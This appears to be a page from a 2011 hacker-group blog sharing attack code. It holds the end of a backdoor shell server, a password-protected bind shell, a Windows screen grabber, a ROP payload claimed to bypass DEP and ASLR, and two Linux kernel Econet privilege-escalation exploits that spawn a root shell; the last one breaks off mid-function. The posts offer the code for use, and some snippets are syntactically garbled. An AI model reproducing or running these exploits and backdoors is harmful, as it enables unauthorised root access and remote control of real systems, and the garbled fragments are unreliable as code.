if (rlen < 5) {
read(scli, &wb[rlen], 5 - rlen);
}
/* setup window */
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
/* write the rest */
write(pty, buf, (ulong) p - (ulong) buf);
rlen = ((ulong) buf + count) - ((ulong)p+5);
if (rlen > 0) write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
close(scli);
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);
}
close(scli);
}
}

Nice eh! this was pvt for many yrs..but no need for that now.. pls try not to hand to skids or repost to dudarse forums like HF,or i wont re-post these things.
Now, I will start to populate papers and also fix up a small attachment/download area where posts can be made and attachment under 10meg is OK. that shuld be good for handling papers… i will get onto it next. cheers for the comments, they inspire me todo more!
xd / Head Admin / NoNet.TEAM / #HaxNET@EF

comments: 11 »

screen capture for windows by Mouse

Posted on 17th September 2011 in Codes

This requires jpeglib and you can get jpeglib from http://www.ijg.org/
this is for windows


#include <stdio.h>
#include <windows.h>

extern "C"
{
#include <jpeglib.h>
}
#pragma comment(lib,"JpegLib.lib")
int jpegCapture(char* filename, int quality)
{
HBITMAP hBMP;
HWND desktopWnd;
int width;
int height;
RECT rc;
HDC hDC;
HDC hDCmem;

struct jpeg_compress_struct cinfo;
struct jpeg_error_mgr jerr;
FILE * outfile;
JSAMPLE* scanline;
COLORREF pixel;
desktopWnd = GetDesktopWindow();
GetWindowRect(desktopWnd, &rc);
width = rc.right - rc.left;
height = rc.bottom - rc.top;
hDC = GetDC(desktopWnd);
hDCmem = CreateCompatibleDC(hDC);
hBMP = CreateCompatibleBitmap(hDC, width, height);
if(hBMP == NULL) return -2;
SelectObject(hDCmem, hBMP);
BitBlt(hDCmem, 0, 0, width, height, hDC, rc.left, rc.top, SRCCOPY);
cinfo.err = jpeg_std_error(&jerr);
jpeg_create_compress(&cinfo);
outfile = fopen(filename, "wb");
if(outfile == NULL) return -1;
jpeg_stdio_dest(&cinfo, outfile);
cinfo.image_width = width;
cinfo.image_height = height;
cinfo.input_components = 3;
cinfo.in_color_space = JCS_RGB;
jpeg_set_defaults(&cinfo);
if(quality < 0) quality = 0;
if(quality > 100) quality = 100;
jpeg_set_quality(&cinfo, quality, FALSE);
jpeg_start_compress(&cinfo, TRUE);
scanline = new JSAMPLE[width*3];
for(int posy = 0; posy < height; posy++)
{
for(int posx = 0; posx < width; posx++)
{
pixel = GetPixel(hDCmem, posx, posy);
scanline[posx*3+0] = GetRValue(pixel);
scanline[posx*3+1] = GetGValue(pixel);
scanline[posx*3+2] = GetBValue(pixel);
}
jpeg_write_scanlines(&cinfo, &scanline, 1);
}
jpeg_finish_compress(&cinfo);

jpeg_destroy_compress(&cinfo);
delete scanline;
fclose(outfile);
DeleteDC(hDCmem);
ReleaseDC(desktopWnd, hDC);
return 0;
}

int main() {
printf("Jpeg screen cap\n");
jpegCapture("lol.jpg",100);
exit(0);
return 0;
}
comments: 4 » tags: , , , ,

L33T Bindshell By ShinJi /small fixes by xd

Posted on 17th September 2011 in Codes

Here is some simple Bindshell, i edited out alittle bit of swearing in it :P lol, but apart from that, this is a VERY nice and small,functional shell.By my friend and great coder SHINJI!
Note, i HAD to correct the execl() for the shell as it was not coded right..it needed to have another sentinel/arg,or be using some “commas” around stuff :P like “/bin/sh”
Added in a simple System info echo as you enter shell (xd)

Note, if you are missing includes, here i will put them outside of the syntax highlighter,wich is causing the includes to somehow dissapear wich i will b fixing soon!
//incs..
stdio.h
stdlib.h
string.h
sys/socket.h
netinet/in.h
unistd.h
//end incs

 /* simple bind shell by shinji :> */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

#define PASS "2^^&&())00" /* Change password to whatever you want */
 #define PORT 213
 #define MAX 1024 /* Buffer/Line buffer its safe to push this alittle further if need */

int main(int argc, char *argv[]) {
 struct sockaddr_in servaddr;
 int sockfd, newsockfd,n;
 char buf[MAX];
 pid_t pid, pid2;
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) perror("[-] Socket error ..\n");
 exit(1);
 }
 memset(&servaddr, 0, sizeof(servaddr));
 servaddr.sin_family = AF_INET;
 servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
 servaddr.sin_port = htons(PORT);
 if (bind(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) perror("[-] Binding error ..\n");
 exit(1);
 }
 listen(sockfd, 5);
 while (1) {
 newsockfd = accept(sockfd, 0, 0);
 pid = fork();
 if (pid < 0) {
 printf("[-] Error forking ..\n");
 exit(1);
 }
 if (pid == 0) {
 n = write(newsockfd, "[*] Enter pass: ", 20);
 memset(buf, 0, sizeof(buf));
 n = read(newsockfd, buf, MAX);
 if (*buf == *PASS) {
 write(newsockfd, "-[+] SHELL ACTIVE [+]-\n\n", 29);
 pid2 = fork();
 if (pid2 printf("[-] Couldn't fork shell ..\n");
 exit(1);
 } else if(pid2 == 0) {
 dup2(newsockfd, 1);
 dup2(newsockfd, 0);
 close(newsockfd);
 execl("echo -[**] INFO: Uname: `uname -a` ; ID: `id` ; UP: `uptime` [**]-",NULL,NULL);
 // added (xd)
 execl("/bin/sh", "/bin/sh", NULL); // corrected the missing "" around the second arg (xd)
 perror("[-] Couldn't exec ..\n");
 exit(1);
 }
 } else {
 write(newsockfd, "[!] FAILED! Get out!\n", 19);
 exit(0);
 }
 } else {
 close(newsockfd);
 }
 }
 return 0;
 }

Enjoi!
i would add a link to shinji’s website but i am afraid he does not have one or i dont know of it… i will ask him tho, he has some great talented code :>
xd

comments: 26 »

DEP/ASLR Bypass

Posted on 17th September 2011 in Codes, Exploits

Yes i could paste you the code for how to.. but thatd be to easy, right ??
Meh screwit here is a copy wich works fine.. you can put it together yaself but, i have provided the basics for ya, btw, there is NO others wich bypass BOTH at once ;) thats only reason i puttin it up here…


unsigned char padding1[] = // 336 "A"'s
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAA";

unsigned char rop2[] =
"\x08\xd9\x62\x61" // push esp; sub eax, 20; pop ebx; retn
"\x90\x90\x90\x90"
"\x24\x01\x64\x61" // xchg eax, ebx; retn
"\xe2\xe4\x60\x61" // xchg eax, ecx; add al, [eax]; add esp, 4; mov eax, esi; pop esi; retn 4
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x02\x67\x62\x61" // pop eax; retn
"\x90\x90\x90\x90"
"\x08\x11\x01\x10" // ptr to VirtualProtect
"\x37\x13\x63\x61" // pop edi; pop esi; retn
"\x1b\x76\x61\x61" // retn
"\x50\x8b\x62\x61" // jmp [eax]
"\x3f\x85\x60\x61" // pop ebp; retn
"\x66\x56\x60\x61" // add esp, 8; retn // return of VirtualProtect
"\x50\x17\x60\x61" // pop ebx; retn
"\x84\xcd\x6f\x83" // this will be added to the pointer already in edx to wrap and get 0x00000040
"\x9e\x76\x62\x61" // add edx, ebx; pop ebx; retn 10
"\x01\x01\x01\x01" // dword size // pretty big, but whatever, easier than dealing with nulls
"\x31\x08\x62\x61" // pushad; retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x08\xd9\x62\x61" // push esp; sub eax, 20; pop ebx; retn
"\x24\x01\x64\x61" // xchg eax, ebx; retn
"\xf0\x8d\x62\x61" // add eax, 0c; retn // one more little nudge
"\x5b\x5e\x62\x61";// jmp eax;

unsigned char padding2[]= // 274 x90's minus strlen of rop2
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char ropbuffer[512],padding_1[512],padding_2[512];
lstrcpy(padding_1,padding1);
lstrcpy(ropbuffer,rop2);
lstrcpy(padding_2,padding2);
lstrcat(padding_1,padding1);
lstrcat(ropbuffer,rop2);
lstrcat(padding_2,padding2);

padding_1 = str_repeat("A", 336);
padding_2 = str_repeat("\x90", (274 - strlen($rop)));
so: padding1 + rop + padding2 = bingo!
*/

enjoy…

comments: 12 »

ECONET Fun

Posted on 17th September 2011 in Exploits

My own portrayal of a sad econet ;’( (BELOW CODE AT BOTTOM OF POST IS MY VERS)

I thought it funny i was playin with the OLD last yr vers then out came a x86_64 wich is here:

My first play with it was way back here… and this works wen you add this stuff as i have done..
so was borne quarter-nelson.c my own use of the exploit wich uses the stack based cve wich is simply a sendmsg, sending a huge amount of IOV’s to gain root…. it works,aswith the first release, here i will have to put all includes outdie of the code,because i having some problems with this showing up…

//incs for exploit v1.
stdio.h
sys/socket.h
fcntl.h
sys/ioctl.h
string.h
net/if.h
sched.h
stdlib.h
signal.h
sys/utsname.h
sys/mman.h
unistd.h
//incs

/*
 * Linux Kernel <= 2.6.37 local privilege escalation UNFUCKED and symbols-fix by (xd)
 * Sploit originally by whitehat by Dan Rosenberg
 * @djrbliss on twitter
 * Usage:
 * gcc full-nelson.c -o full-nelson
 * ./full-nelson
 *
 * This exploit leverages three vulnerabilities to get root, all of which were
 * discovered by Nelson Elhage:
 * CVE-2010-4258
 * -------------
 * This is the interesting one, and the reason I wrote this exploit.  If a
 * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
 * word will be written to a user-specified pointer when that thread exits.
 * This write is done using put_user(), which ensures the provided destination
 * resides in valid userspace by invoking access_ok().  However, Nelson
 * discovered that when the kernel performs an address limit override via
 * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
 * etc.), this override is not reverted before calling put_user() in the exit
 * path, allowing a user to write a NULL word to an arbitrary kernel address.
 * Note that this issue requires an additional vulnerability to trigger.
 * CVE-2010-3849
 * -------------
 * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
 * fairly benign as a local denial-of-service.  It's a perfect candidate to
 * trigger the above issue, since it's reachable via sock_no_sendpage(), which
 * subsequently calls sendmsg under KERNEL_DS.
 * CVE-2010-3850
 * -------------
 * I wouldn't be able to reach the NULL pointer dereference and trigger the
 * OOPS if users weren't able to assign Econet addresses to arbitrary
 * interfaces due to a missing capabilities check.
 * In the interest of public safety, this exploit was specifically designed to
 * be limited:
 *  * The particular symbols I resolve are not exported on Slackware or Debian
 *  * Red Hat does not support Econet by default
 *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
 *    Debian
 * However, the important issue, CVE-2010-4258, affects everyone, and it would
 * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
 * more sophisticated version of this that doesn't have the roadblocks I put in
 * to prevent abuse by script kiddies.
 * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
 * NOTE: the exploit process will deadlock and stay in a zombie state after you
 * exit your root shell because the Econet thread OOPSes while holding the
 * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
 * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
 */
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAGE_SIZE getpagesize()
#define PF_ECONET AF_ECONET
#define AF_ECONET 19

#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

static unsigned long get_kernel_sym(char *name) {
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma) {
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline() {
#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif
}

int trigger(int * fildes) {
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
exit(0);
}

int main(int argc, char * argv[]) {
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}
printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;
landing = econet_ioctl << SHIFT >> SHIFT;
payload = mmap((void *)(landing & ~0xfff), 2 * PAGE_SIZE,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}
memcpy((void *)landing, &trampoline, 1024);
clone((int (*)(void *))trigger,(void *)((unsigned long)newstack + 65536),CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,&fildes, NULL, NULL, target);
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
if(getuid()) {
printf("[*] Exploit failed.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}

It does work great but it corruopts the memory…so i dislike this and this is also why i made my own portage of this exploit..
here is the second rls…

//incs for exploit v2
stdio.h
stdlib.h
stdint.h
stddef.h
string.h
unistd.h
errno.h
fcntl.h
limits.h
syscall.h
inttypes.h
sys/types.h
sys/socket.h
sys/wait.h
sys/ioctl.h
sys/mman.h
sys/ipc.h
sys/sem.h
sys/stat.h
sys/mman.h
sys/resource.h
sys/syscall.h
netinet/in.h
net/if.h
//incs v2 e0f

// Then in 2011 as promised they would, they used a stack leak to make half-nelson.c:
/*
 * half-nelson.c
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Usage:
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32 

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
	unsigned char station;
	unsigned char net;
};

struct sockaddr_ec {
	unsigned short sec_family;
	unsigned char port;
	unsigned char cb;
	unsigned char type;
	struct ec_addr addr;
	unsigned long cookie;
};

struct ipc64_perm {
	uint32_t key;
	uint32_t uid;
	uint32_t gid;
	uint32_t cuid;
	uint32_t cgid;
	uint32_t mode;
	uint16_t seq;
	uint16_t __pad2;
	unsigned long __unused1;
	unsigned long __unused2;
};

struct semid64_ds {
	struct ipc64_perm sem_perm;
	unsigned long sem_otime;
	unsigned long __unused1;
	unsigned long sem_ctime;
	unsigned long __unused;
	unsigned long sem_nsems;
	unsigned long __unused3;
	unsigned long __unused4;
};

union semun {
	int val;
	struct semid_ds *buf;
	unsigned short *array;
	struct seminfo *__buf;
};

struct region {
	unsigned long parent;
	unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void) {
	commit_creds(prepare_kernel_cred(0));
}

void payload_parent(void) {
	asm volatile (
	"mov $kernel_code, %rax\n"
	"call *%rax\n"
	);
}

void payload_child(void) {
	asm volatile (
	"movq $payload_parent, (%0)\n"
	"jmpq *%1\n"
	:
	: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
	);
}

unsigned long get_kstack(void) {
	int i, size, offset;
	union semun *arg;
	struct semid_ds dummy;
	struct semid64_ds *leaked;
	char *stack_start, *stack_end;
	unsigned char *p;
	unsigned long kstack, *ptr;
	/* make sure our argument is 32-bit accessible */
	arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (arg == MAP_FAILED) {
	printf("[-] failure mapping memory, aborting!\n");
	exit(1);
	}
	/* map a fake stack to use during syscall */
	stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (stack_start == MAP_FAILED) {
	printf("[-] failure mapping memory, aborting!\n");
	exit(1);
	}
	stack_end = stack_start + 4096;
	memset(arg, 0, sizeof(union semun));
	memset(&dummy, 0, sizeof(struct semid_ds));
	arg->buf = &dummy;
	/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"push %%rdi\n"
		"movl %0, %%eax\n"
		"movl %1, %%ebx\n"
		"movl %2, %%ecx\n"
		"movl %3, %%edx\n"
		"movl %4, %%esi\n"
		"movq %5, %%rdi\n"
		"movq %%rsp, %%r8\n"
		"movq %6, %%rsp\n"
		"push %%r8\n"
		"int $0x80\n"
		"pop %%r8\n"
		"movq %%r8, %%rsp\n"
		"pop %%rdi\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		:
		: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
	);
	/* naively extract a pointer to the kstack from the kstack */
	p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
	kstack = *(unsigned long *) p;
	if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
	printf("[-] failed to leak a suitable kstack address, try again!\n");
	exit(1);
	}
	if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
	printf("[-] failed to leak a suitable kstack address, try again!\n");
	exit(1);
	}
	kstack = kstack & ~0x1fff;
	return kstack;
}

unsigned long get_symbol(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
	return 0;
	}
	while (ret != EOF) {
	ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
	if (ret == 0) {
	fscanf(f, "%s\n", sym);
	continue;
	}
	if (!strcmp(name, sym)) {
	printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
	fclose(f);
	return addr;
	}
	}
	fclose(f);
	return 0;
}

int get_adjacent_kstacks(void) {
	int i, ret, shm, pid, type;
	/* create shared communication channel between parent and its children */
	shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
	if (shm < 0) {
	printf("[-] failed creating shared memory, aborting!\n");
	exit(1);
	}
	ret = ftruncate(shm, sizeof(struct region));
	if (ret != 0) {
	printf("[-] failed resizing shared memory, aborting!\n");
	exit(1);
	}
	region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
	memset(region, KSTACK_UNINIT, sizeof(struct region));
	/* parent kstack self-discovery */
	region->parent = get_kstack();
	printf("[+] found parent kstack at 0x%lx\n", region->parent);
	/* fork and discover children with adjacently-allocated kernel stacks */
	for (i = 0; i < NPROC; ++i) {
	pid = fork();
	if (pid > 0) {
	type = KSTACK_PARENT;
	continue;
	} else if (pid == 0) {
	/* children do kstack self-discovery */
	region->addrs[i] = get_kstack();
	/* children sleep until parent has found adjacent children */
	while (1) {
	sleep(1);
	if (region->addrs[i] == KSTACK_DIE) {
	/* parent doesn't need us :-(  */
	exit(0);
	} else if (region->addrs[i] == KSTACK_UPPER) {
	/* we're the upper adjacent process */
	type = KSTACK_UPPER;
	break;
	} else if (region->addrs[i] == KSTACK_LOWER) {
	/* we're the lower adjacent process */
	type = KSTACK_LOWER;
	break;
	}
	}
	break;
	} else {
	printf("[-] fork failed, aborting!\n");
	exit(1);
	}
	}
	return type;
}

void do_parent(void) {
	int i, j, upper, lower;
	/* parent sleeps until we've discovered all the child kstacks */
	while (1) {
	sleep(1);
	for (i = 0; i < NPROC; ++i) {
	if (region->addrs[i] == KSTACK_UNINIT) {
	break;
	}
	}
        if (i == NPROC) {
	break;
	}
	}
	/* figure out if we have any adjacent child kstacks */
	for (i = 0; i < NPROC; ++i) {
	for (j = 0; j < NPROC; ++j) {
        if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
	break;
	}
	}
	if (j != NPROC) {
	break;
	}
	}
	if (i == NPROC && j == NPROC) {
	printf("[-] failed to find adjacent kstacks, try again!\n");
	exit(1);
	}
	upper = i;
	lower = j;
	printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
	/* signal to non-adjacent children to die */
	for (i = 0; i < NPROC; ++i) {
	if (i != upper && i != lower) {
	region->addrs[i] = KSTACK_DIE;
	}
	}
	/* signal adjacent children to continue on */
	region->addrs[upper] = KSTACK_UPPER;
	region->addrs[lower] = KSTACK_LOWER;
	/* parent sleeps until child has clobbered the fptr */
	while (1) {
	sleep(1);
	if (region->parent == KSTACK_CLOBBER) {
	break;
	}
	}
	printf("[+] escalating privileges\n");
	/* trigger our clobbered fptr */
	syscall(__NR_restart_syscall);
	/* our privileges should be escalated now */
	if (getuid() != 0) {
	printf("[-] privilege escalation failed, aborting!\n");
	exit(1);
	}
	printf("[+] launching root shell!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}

void do_child_upper(void) {
	int i, ret, eco_sock;
	struct sockaddr_ec eco_addr;
	struct msghdr eco_msg;
	struct iovec iovs[IOVS];
	struct ifreq ifr;
	char *target;
	/* calculate payload target, skip prologue */
	target = (char *) payload_child;
	target += 4;
	/* give lower child a chance to enter its wait4 call */
	sleep(1);
	/* write some zeros */
	for (i = 0; i < STACK_OFFSET; ++i) {
	iovs[i].iov_base = (void *) 0x0;
	iovs[i].iov_len = 0;
	}
	/* overwrite saved ia32_sysret address on stack */
	iovs[STACK_OFFSET].iov_base = (void *) target;
	iovs[STACK_OFFSET].iov_len = 0x0246;
	/* force abort via EFAULT */
	for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
	iovs[i].iov_base = (void *) 0xffffffff00000000;
	iovs[i].iov_len = 0;
	}
	/* create econet socket */
	eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
	if (eco_sock < 0) {
	printf("[-] failed creating econet socket, aborting!\n");
	exit(1);
	}
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, "lo");
	/* trick econet into associated with the loopback */
	ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
	if (ret != 0) {
	printf("[-] failed setting interface address, aborting!\n");
	exit(1);
	}
	memset(&eco_addr, 0, sizeof(eco_addr));
	memset(&eco_msg, 0, sizeof(eco_msg));
	eco_msg.msg_name = &eco_addr;
	eco_msg.msg_namelen = sizeof(eco_addr);
	eco_msg.msg_flags = 0;
	eco_msg.msg_iov = &iovs[0];
	eco_msg.msg_iovlen = IOVS;
	printf("[+] upper child triggering stack overflow...\n");
	/* trigger the kstack overflow into lower child's kstack */
	ret = sendmsg(eco_sock, &eco_msg, 0);
	if (ret != -1 || errno != EFAULT) {
	printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
	exit(1);
	}
	close(eco_sock);
}

void do_child_lower(void) {
	int pid;
	printf("[+] lower child spawning a helper\n");
	/* fork off a helper to wait4 on */
	pid = fork();
	if (pid == 0) {
	printf("[+] helper going to sleep\n");
	sleep(5);
	printf("[+] helper woke up\n");
	exit(1);
	}
	printf("[+] lower child calling compat_sys_wait4 on helper\n");
	/* syscall(NR_WAIT4, pid, 0, 0, 0) */
	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"movl %0, %%eax\n"
		"movl %1, %%ebx\n"
		"movl %2, %%ecx\n"
		"movl %3, %%edx\n"
		"movl %4, %%esi\n"
		"int $0x80\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		:
		: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
	);
	printf("[+] lower child returned from compat_sys_wait4\n");
	printf("[+] parent's restart_block has been clobbered\n");
	/* signal parent that our fptr should now be clobbered */
	region->parent = KSTACK_CLOBBER;
}

int main(int argc, char **argv) {
	int type;
	if (sizeof(unsigned long) != 8) {
	printf("[-] x86_64 only, sorry!\n");
	exit(1);
	}
	printf("[+] looking for symbols\n");
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
	}
	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
	}
	ia32_sysret = get_symbol("ia32_sysret");
	if (!ia32_sysret) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
